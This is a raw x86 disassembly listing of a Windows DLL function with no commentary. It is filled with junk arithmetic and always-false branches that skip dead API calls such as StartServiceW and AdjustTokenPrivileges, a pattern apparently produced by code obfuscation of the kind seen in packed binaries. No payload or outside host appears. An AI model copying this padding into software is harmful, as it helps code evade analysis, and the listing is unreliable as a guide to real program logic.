cmp dword [ebp - 0x1c], 2
jl 0x1000d4bf
xor eax, eax
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], ebx
jg 0x1000d581
mov dword [ebp - 0x40], 6
mov dword [ebp - 0x40], ebx
cmp dword [ebp - 0x40], eax
je 0x1000d501
mov eax, dword [ebp - 0x15c]
xor eax, eax
push eax
lea ecx, [ebp - 0xbb8]
call fcn.10028dbd
mov ecx, dword [ebp - 0x48]
xor edx, edx
push dword [ebp - 0x18]
cmp ecx, ebx
lea ecx, [ebp - 0x324]
setge dl
xor ebx, ebx
cmp edx, dword [eax]
setge bl
call fcn.10028dbd
mov ecx, dword [ebp - 0x10]
xor edx, edx
push dword [ebp - 0x15c]
cmp ebx, ecx
lea ecx, [ebp - 0x324]
mov esi, dword [eax]
setg dl
sub esi, edx
call fcn.10028dbd
mov dword [eax], esi
xor eax, eax
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], al
je 0x1000d569
push 0x2ab
push eax
push 0x11cd
push eax
call dword [sym.imp.USER32.dll_LoadStringA]
inc dword [ebp - 0x15c]
xor ebx, ebx
inc ebx
push 0
pop eax
cmp dword [ebp - 0x15c], ebx
jle 0x1000d4ea
mov dword [ebp - 0x6b0], eax
mov dword [ebp - 0x158], eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jle 0x1000d4b6
jmp 0x1000d5d0
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], eax
jg 0x1000d5cd
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], eax
jl 0x1000d5c8
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x1000d5c3
push eax
push 0x19ff
push eax
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
xor eax, eax
dec dword [ebp - 0x18]
jns 0x1000d5ab
inc dword [ebp - 0x10]
jmp 0x1000d59e
xor ebx, ebx
inc ebx
lea ecx, [ebp - 0xbb8]
call fcn.10028da1
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x324]
call fcn.10028da1
mov dword [ebp - 0x10], 0xb5cfda6c
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x18], 0x8ef6b8f
mov dword [ebp - 0x20], 0x31aa08
mov dword [ebp - 0x48], 0xff63588c
mov dword [ebp - 0x44], 0xd2668451
mov dword [ebp - 0x2c], 0x3d1f0dfb
mov dword [ebp - 0x44], 0xc8cac31e
mov dword [ebp - 0x1c], 0xfffb
mov dword [ebp - 0x10], 0xfffffff0
cmp dword [ebp - 0x10], 0xa
jge 0x1000d707
mov dword [ebp - 0x28], ebx
xor edx, edx
mov dword [ebp - 0x30], 0x47d2038
mov dword [ebp - 0x38], 0xd4a1cf04
mov dword [ebp - 0x40], 0x6d0c11e0
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x2c], 0x46983c17
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
mov eax, dword [ebp - 0x48]
setle dl
xor ecx, ecx
cmp edx, eax
setl cl
imul ecx, dword [ebp - 0x1c]
sub ecx, 0x14186e14
imul eax, ecx, 0xf451
dec dword [ebp - 0x1c]
cmp eax, 0xfffffffb
jae 0x1000d691
mov ecx, ebx
jmp 0x1000d695
xor eax, eax
mov ecx, eax
dec dword [ebp - 0x28]
add ecx, 7
mov eax, dword [ebp - 0x30]
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x18]
push 1
setle dl
cmp edx, ebx
sbb ecx, ecx
xor edx, edx
neg ecx
cmp eax, ecx
mov eax, dword [ebp - 0x20]
setge dl
xor ecx, ecx
cmp edx, eax
setne cl
imul eax, ecx, 0xfff7
xor ecx, ecx
cmp eax, 0xc23782ec
mov eax, dword [ebp - 0x28]
setne cl
xor edx, edx
cmp ecx, 0xb882
setle dl
xor ebx, ebx
cmp eax, edx
mov eax, dword [ebp - 0x38]
setle bl
xor ecx, ecx
add ebx, 0x8694
cmp ebx, eax
pop ebx
setne cl
mov dword [ebp - 0x2c], ecx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xa
jl 0x1000d636
xor eax, eax
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], al
je 0x1000d71a
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
mov dword [ebp - 0x40], 0x2ee7
mov dword [ebp - 0x48], 0x58a835a
mov dword [ebp - 0x38], 0x7b5c
push 0xfffffffffffffffd
mov dword [ebp - 0x1c], eax
pop esi
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x10], eax
jmp 0x1000d74a
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x808], esi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1000d73d
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x10], 0x369bd69
mov dword [ebp - 0x2c], 0xfffffff7
mov dword [ebp - 0x28], 0xb28787d
mov eax, dword [ebp - 0x1c]
push 0xfffffffffffffff6
pop ecx
cmp ecx, eax
mov eax, dword [ebp - 0x40]
sbb ecx, ecx
xor ebx, ebx
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
setge bl
add eax, dword [ebp - 0x1c]
xor edx, edx
cmp ebx, eax
mov eax, dword [ebp - 0x28]
setge dl
xor ecx, ecx
cmp edx, eax
setle cl
cmp ecx, dword [ebp - 0x38]
jge 0x1000d7a7
xor eax, eax
cmp dword [ebp - 0x28], eax
jne 0x1000d7a7
xor ebx, ebx
mov ecx, eax
inc ebx
jmp 0x1000d7ac
xor ebx, ebx
inc ebx
mov ecx, ebx
mov edi, 0x52c58fb7
mov dword [ebp - 0x808], edi
mov eax, dword [ebp - 0x10]
sub ecx, eax
mov eax, dword [ebp - 0x48]
add ecx, edi
inc dword [ebp - 0x10]
cmp ecx, eax
jge 0x1000d7cc
mov eax, ebx
jmp 0x1000d7ce
xor eax, eax
mov dword [ebp - 0x2c], eax
xor eax, eax
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x10], 0x69896260
mov dword [ebp - 0x1c], 0x5bdf607d
mov dword [ebp - 0x44], 0x961dfa23
mov dword [ebp - 0x40], 0x9b5f277f
mov dword [ebp - 0x40], 0xe7f6f8f6
mov dword [ebp - 0x38], 0x1bd8e702
mov dword [ebp - 0x10], eax
jmp 0x1000d819
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1278], 7
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x1000d808
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x20]
je 0x1000d9ab
push ebx
lea ecx, [ebp - 0x480]
call fcn.10028d1f
xor eax, eax
mov dword [ebp - 4], 0x11
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x1000d866
push dword [ebp - 0x18]
lea ecx, [ebp - 0x480]
call fcn.10028dbd
mov dword [eax], 0xfffffffe
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1000d848
xor eax, eax
push 2
mov dword [ebp - 0x18], eax
pop edi
jmp 0x1000d87f
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xda4], 0x5b641b44
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x1000d86e
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x480]
mov eax, dword [ebp - 0x20]
xor eax, eax
push eax
call fcn.10028dbd
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x480]
xor eax, eax
push eax
call fcn.10028dbd
xor eax, eax
lea ecx, [ebp - 0x480]
push eax
call fcn.10028dbd
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x480]
xor eax, eax
push eax
call fcn.10028dbd
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x480]
xor eax, eax
push eax
call fcn.10028dbd
mov eax, dword [ebp - 0x20]
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x1000d8e5
mov eax, ebx
mov dword [ebp - 0xda0], eax
lea ecx, [ebp - 0x480]
or dword [ebp - 4], 0xffffffff
call fcn.10028da1
mov dword [ebp - 0x10], 0x8b9abc19
xor ecx, ecx
mov esi, dword [ebp - 0x1c]
mov dword [ebp - 0x1274], esi
mov dword [ebp - 0x40], ebx
mov eax, dword [ebp - 0x40]
cmp eax, 0x8e16
setle cl
xor edx, edx
imul ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
cmp ecx, 0xd85a
setl dl
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [ebp - 0x40], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x40]
sub eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
mov eax, dword [ebp - 0x1c]
setge cl
xor edx, edx
cmp ecx, eax
setne dl
xor eax, eax
cmp esi, 0xfffffffc
setge al
xor ebx, ebx
cmp eax, edx
setle bl
xor ecx, ecx
imul ebx, dword [ebp - 0x20]
sub ebx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x10]
cmp eax, ebx
setl cl
or esi, 0xffffffff
mov dword [ebp - 0x38], ecx
xor eax, eax
mov dword [ebp - 0x10], 5
xor ebx, ebx
mov dword [ebp - 0x44], esi
inc ebx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x1000d99f
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x814], esi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1000d98b
xor eax, eax
mov dword [ebp - 0x10], 0xffffffec
jmp 0x1000da6e
xor eax, eax
mov dword [ebp - 0x48], 0xa71a6e48
push 2
mov dword [ebp - 0x20], eax
pop edi
cmp dword [ebp - 0x20], 0x31
jne 0x1000d8fa
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x44], 0x2b500989
mov dword [ebp - 0x40], 0x1cf717c9
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x48]
xor eax, eax
cmp dword [ebp - 0x40], eax
je 0x1000d9ed
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x10], eax
jmp 0x1000da14
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], al
je 0x1000da14
push eax
push 0x2124
push 0x1850
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCharABCWidthsW]
inc dword [ebp - 0x20]
jmp 0x1000d9ba
mov dword [ebp - 0x40], 0x1aae
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edi
jge 0x1000da40
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1330], 0xfd4914d2
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x1000da28
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edi
jge 0x1000da60
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1240], 0xfa9d19ac
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x1000da48
xor eax, eax
dec dword [ebp - 0x40]
cmp dword [ebp - 0x814], eax
jne 0x1000da73
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jge 0x1000da19
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x1000da88
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edi
jge 0x1000daa8
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xdc4], 0xfb49
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x1000da90
xor eax, eax
mov dword [ebp - 0x1c], 0x261f9c28
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x44], eax
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x1000dad0
push eax
push eax
push 0x107e
push eax
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x17
jne 0x1000db38
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x10], eax
jmp 0x1000db23
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x1000db20
push 0x1490
push eax
push 0x1619
push 0x5e8
push 0x189c
push eax
push 0xaa2
push 0x11a4
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawIconEx]
xor eax, eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0x18
jle 0x1000dae1
mov eax, dword [ebp - 0x38]
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x17
push 0
pop eax
je 0x1000dad9
mov dword [ebp - 0x28], eax
jmp 0x1000e50a
lea ecx, [ebp - 0x94]
call fcn.10028d1f
mov dword [ebp - 4], 0x12
lea ecx, [ebp - 0x560]
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x10], 0x1636717b
mov dword [ebp - 0x40], 0x5f7a
push 4
call fcn.10028d1f
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0xbd0]
mov dword [ebp - 0x10], 0x653649d9
push edi
call fcn.10028d1f
mov byte [ebp - 4], 0x14
xor eax, eax
mov dword [ebp - 0x40], 9
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jge 0x1000dbbf
push dword [ebp - 0x20]
lea ecx, [ebp - 0x94]
call fcn.10028dbd
mov dword [eax], ebx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x1000dba5
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 4
jge 0x1000dbe3
push dword [ebp - 0x20]
lea ecx, [ebp - 0x560]
call fcn.10028dbd
mov dword [eax], ebx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x1000dbc8
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], edi
jge 0x1000dc09
push dword [ebp - 0x20]
lea ecx, [ebp - 0xbd0]
call fcn.10028dbd
mov dword [eax], 0x945cb296
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x1000dbeb
xor eax, eax
push eax
lea ecx, [ebp - 0x94]
call fcn.10028dbd
xor ebx, ebx
lea ecx, [ebp - 0x94]
cmp dword [eax], ebx
setne bl
xor eax, eax
push eax
call fcn.10028dbd
xor eax, eax
lea ecx, [ebp - 0x94]
push eax
call fcn.10028dbd
xor eax, eax
lea ecx, [ebp - 0x94]
push eax
call fcn.10028dbd
xor eax, eax
lea ecx, [ebp - 0x94]
push eax
call fcn.10028dbd
xor eax, eax
lea ecx, [ebp - 0x94]
push eax
call fcn.10028dbd
mov esi, eax
lea ecx, [ebp - 0x94]
xor eax, eax
push eax
call fcn.10028dbd
mov ecx, dword [eax]
imul ecx, dword [esi]
test ecx, ecx
jne 0x1000dc95
xor eax, eax
lea ecx, [ebp - 0x94]
push eax
call fcn.10028dbd
cmp dword [eax], 0
jne 0x1000dc95
xor edi, edi
xor eax, eax
inc edi
jmp 0x1000dc9a
xor edi, edi
inc edi
mov eax, edi
mov dword [ebp - 0x1c], ebx
mov ecx, 0xffff
mov dword [ebp - 0x10], eax
imul eax, dword [ebp - 0x10], 0xcdc0
push 3
pop ebx
push ebx
cmp ecx, eax
lea ecx, [ebp - 0x560]
sbb eax, eax
neg eax
mov dword [ebp - 0x40], eax
mov esi, dword [ebp - 0x40]
call fcn.10028dbd
lea ecx, [ebp - 0x94]
mov dword [eax], esi
xor eax, eax
push eax
call fcn.10028dbd
xor ecx, ecx
neg esi
cmp esi, ebx
setge cl
sub ecx, dword [eax]
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
mov dword [ebp - 0x38], ecx
lea ecx, [ebp - 0x94]
push eax
call fcn.10028dbd
mov ecx, dword [ebp - 0x38]
xor ebx, ebx
cmp ecx, dword [eax]
lea ecx, [ebp - 0x94]
sete bl
xor eax, eax
push eax
call fcn.10028dbd
xor ecx, ecx
cmp ebx, dword [eax]
mov eax, dword [ebp - 0x1c]
setg cl
xor edx, edx
cmp ecx, 4
setne dl
imul eax, edx
test eax, eax
jne 0x1000dd32
cmp dword [ebp - 0x10], eax
jne 0x1000dd34
mov esi, eax
jmp 0x1000dd36
xor eax, eax
mov esi, edi
push eax
lea ecx, [ebp - 0x94]
call fcn.10028dbd
add esi, 0xffff0001
lea ecx, [ebp - 0x94]
mov eax, dword [eax]
add esi, eax
xor eax, eax
push eax
call fcn.10028dbd
xor ecx, ecx
cmp esi, dword [eax]
setle cl
xor ebx, ebx
cmp ecx, 0xfffffffe
lea ecx, [ebp - 0x94]
setg bl
xor eax, eax
push eax
call fcn.10028dbd
lea ecx, [ebp - 0x94]
sub ebx, dword [eax]
xor eax, eax
mov dword [ebp - 0x10], ebx
push eax
call fcn.10028dbd
mov esi, dword [ebp - 0x10]
mov ecx, 0xffff
sub esi, ecx
lea ecx, [ebp - 0xbd0]
sub esi, dword [eax]
neg esi
sbb esi, esi
xor eax, eax
push eax
inc esi
call fcn.10028dbd
lea ecx, [ebp - 0x94]
mov dword [eax], esi
xor eax, eax
mov dword [ebp - 0x40], esi
push eax
call fcn.10028dbd
mov ecx, dword [ebp - 0x40]
xor edx, edx
cmp ecx, dword [eax]
mov eax, 0xc84a4e7
lea ecx, [ebp - 0x94]
setle dl
sub eax, edx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
xor eax, eax
push eax
call fcn.10028dbd
cmp dword [ebp - 0x10], 0x9ce85662
lea ecx, [ebp - 0x560]
sbb eax, eax
inc eax
mov dword [ebp - 0x40], eax
xor eax, eax
mov esi, dword [ebp - 0x1c]
push eax
call fcn.10028dbd
xor ebx, ebx
inc ebx
mov dword [eax], esi
test esi, esi
je 0x1000de40
mov eax, dword [ebp - 0x40]
lea ecx, [ebp - 0x560]
push ebx
call fcn.10028dbd
push 3
pop edi
push edi
cmp dword [eax], 0xfff7
lea ecx, [ebp - 0x560]
sbb esi, esi
neg esi
call fcn.10028dbd
mov eax, dword [eax]
sub eax, esi
je 0x1000de43
mov eax, ebx
jmp 0x1000de45
push 3
pop edi
xor eax, eax
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0xbd0]
call fcn.10028da1
lea ecx, [ebp - 0x560]
call fcn.10028da1
or esi, 0xffffffff
lea ecx, [ebp - 0x94]
mov dword [ebp - 4], esi
call fcn.10028da1
push 0xfffffffffffffff6
pop eax
mov dword [ebp - 0x40], eax
xor eax, eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x30], 0xfffffff5
jmp 0x1000e003
mov dword [ebp - 0x2c], 0xb0647dc4
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 6
jle 0x1000e000
push 4
lea ecx, [ebp - 0x674]
call fcn.10028d1f
xor eax, eax
mov dword [ebp - 4], 0x15
mov dword [ebp - 0x10], eax
jmp 0x1000dec6
push dword [ebp - 0x10]
call fcn.10028dbd
mov dword [eax], 0xfaaaeb9a
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
lea ecx, [ebp - 0x674]
jl 0x1000deb5
push edi
call fcn.10028dbd
and dword [eax], 0
jmp 0x1000dfce
mov dword [ebp - 0x1c], 6
lea ecx, [ebp - 0xcfc]
push ebx
call fcn.10028d1f
xor eax, eax
mov byte [ebp - 4], 0x16
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x1000df1f
push dword [ebp - 0x10]
lea ecx, [ebp - 0xcfc]
call fcn.10028dbd
mov dword [eax], 2
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1000df01
xor eax, eax
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x1000df37
push eax
push ebx
push 0x2458
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
xor eax, eax
mov dword [ebp - 0x1c], 0x13
jmp 0x1000dfab
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x1000df5c
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xbc], esi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1000df48
mov dword [ebp - 0xbc], eax
jmp 0x1000df79
cmp dword [ebp - 0x1c], 0xc
jne 0x1000df40
lea ecx, [ebp - 0xcfc]
mov byte [ebp - 4], 0x15
call fcn.10028da1
push edi
lea ecx, [ebp - 0x674]
call fcn.10028dbd
inc dword [eax]
push edi
lea ecx, [ebp - 0x674]
call fcn.10028dbd
cmp dword [eax], 0xb
jl 0x1000dee0
lea ecx, [ebp - 0x674]
mov dword [ebp - 4], esi
call fcn.10028da1
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 6
jg 0x1000de9a
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0xfffffff7
je 0x1000de86
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x10], esi
push 2
mov dword [ebp - 0x10], eax
pop edi
cmp dword [ebp - 0x10], edi
jge 0x1000e036
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x12d0], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x1000e01e
xor eax, eax
mov dword [ebp - 0x10], ebx
cmp dword [ebp - 0x10], eax
jl 0x1000e05c
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x1000e057
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ClientToScreen]
xor eax, eax
dec dword [ebp - 0x10]
jns 0x1000e03e
mov dword [ebp - 0x1c], eax
lea ecx, [ebp - 0xb34]
push 3
pop eax
mov dword [ebp - 0x10], 0x4f46db50
mov dword [ebp - 0x40], 0x980db959
push eax
call fcn.10028d1f
push edi
lea ecx, [ebp - 0xbac]
mov dword [ebp - 4], 0x17
call fcn.10028d1f
mov byte [ebp - 4], 0x18
xor eax, eax
mov dword [ebp - 0x38], ebx
push 3
mov dword [ebp - 0x20], eax
pop ecx
cmp dword [ebp - 0x20], ecx
jge 0x1000e0b7
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xe0c], esi
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x1000e0a3
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ecx
jge 0x1000e0e0
push 3
pop ebx
push dword [ebp - 0x20]
lea ecx, [ebp - 0xb34]
call fcn.10028dbd
and dword [eax], 0
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x1000e0c2
xor ebx, ebx
xor eax, eax
inc ebx
mov dword [ebp - 0x20], eax
jmp 0x1000e0fc
push dword [ebp - 0x20]
lea ecx, [ebp - 0xbac]
call fcn.10028dbd
mov dword [eax], 0x32e3ca36
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x1000e0e5
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x40], 0x4ba8b35e
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0xe04], eax
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
mov eax, dword [ebp - 0xe0c]
setne dl
xor ecx, ecx
cmp edx, eax
mov edx, dword [ebp - 0x1c]
push edi
setl cl
cmp ecx, ebx
sbb eax, eax
neg eax
sub edx, eax
mov eax, dword [ebp - 0x1c]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, dword [ebp - 0x1c]
setge cl
add eax, 0xffff086f
add ecx, eax
xor edx, edx
mov eax, dword [ebp - 0x10]
cmp eax, ecx
lea ecx, [ebp - 0xb34]
setge dl
mov dword [ebp - 0x10], edx
mov esi, dword [ebp - 0x10]
call fcn.10028dbd
mov dword [eax], esi
test esi, esi
jne 0x1000e180
xor eax, eax
mov esi, eax
cmp dword [ebp - 0x10], eax
je 0x1000e182
mov esi, ebx
push ebx
lea ecx, [ebp - 0xbac]
call fcn.10028dbd
xor ecx, ecx
mov dword [eax], esi
mov eax, dword [ebp - 0x1c]
cmp esi, eax
setge cl
mov dword [ebp - 0x38], ecx
lea ecx, [ebp - 0xbac]
call fcn.10028da1
or esi, 0xffffffff
lea ecx, [ebp - 0xb34]
mov dword [ebp - 4], esi
call fcn.10028da1
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp + eax*4 - 0x21c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp + eax*4 - 0x21c]
mov eax, dword [ebp - 0x21c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp + eax*4 - 0x21c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
sub eax, dword [ebp - 0x34]
je 0x1000e1ff
mov eax, dword [ebp - 0x3c]
cmp dword [ebp + eax*4 - 0x21c], 0
je 0x1000e1ff
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x3c]
push 0xfffffffffffffff6
mov edx, dword [ebp + eax*4 - 0x21c]
xor eax, eax
test ecx, ecx
setne al
xor ecx, ecx
cmp eax, edx
setne cl
xor eax, eax
cmp ecx, 0x336d
pop ecx
setge al
xor edx, edx
cmp eax, ecx
push 3
setle dl
xor ecx, ecx
sub edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
cmp edx, eax
pop eax
setne cl
add ecx, 0xce3d978
cmp eax, ecx
lea ecx, [ebp - 0x584]
push edi
sbb eax, eax
neg eax
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0x2526041
call fcn.10028d1f
mov dword [ebp - 4], 0x19
xor eax, eax
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edi
jge 0x1000e2a0
push ebx
cmp dword [ebp - 0x28], edi
jle 0x1000db40
mov dword [ebp - 0x28], 0xfff7
lea ecx, [ebp - 0xc3c]
call fcn.10028d1f
xor eax, eax
mov dword [ebp - 4], 0x1b
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x1000e555
push dword [ebp - 0x10]
lea ecx, [ebp - 0xc3c]
call fcn.10028dbd
mov dword [eax], 9
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1000e537
xor eax, eax
dec dword [ebp - 0x28]
mov dword [ebp - 0x28], eax
jmp 0x1000e5d0
mov dword [ebp - 0x1c], 0x5c7a00f4
mov dword [ebp - 0x1c], eax
jmp 0x1000e5a2
mov dword [ebp - 0x2c], 0x4aa0d722
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], eax
jl 0x1000e59f
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x10], eax
jmp 0x1000e595
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x1000e592
push eax
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
xor eax, eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], eax
jle 0x1000e580
dec dword [ebp - 0x2c]
jns 0x1000e578
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], eax
jle 0x1000e569
mov byte [ebp - 0x21], al
cmp byte [ebp - 0x21], 0
je 0x1000e5cd
push 0xa74
push 0x111d
push 0x11a8
push 0x241b
push eax
call dword [sym.imp.USER32.dll_CheckMenuRadioItem]
xor eax, eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0x1e
jl 0x1000e55d
lea ecx, [ebp - 0xc3c]
mov dword [ebp - 4], esi
call fcn.10028da1
mov eax, dword [ebp - 0x34]
push 0
mov eax, dword [ebp + eax*4 - 0x21c]
inc dword [ebp - 0x34]
pop eax
cmp dword [ebp - 0x34], edi
jle 0x1000d101
push 3
pop esi
mov dword [ebp - 0x2c], 0xd837
mov dword [ebp - 0x10], 0xca9869ec
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x48], 0x51cfd1f2
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x1c], 0xc7c6f1fd
mov dword [ebp - 0x38], 7
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x1000e652
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1108], 0x860ec01e
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1000e63a
xor eax, eax
cmp dword [ebp - 0x2c], eax
jne 0x1000e65a
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2c]
imul eax, dword [ebp - 0x2c]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x10]
neg ecx
inc dword [ebp - 0x1c]
cmp ecx, eax
je 0x1000e677
mov ecx, ebx
jmp 0x1000e67b
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x2c]
sub eax, ecx
cmp eax, 0x5734cb44
jge 0x1000e6d3
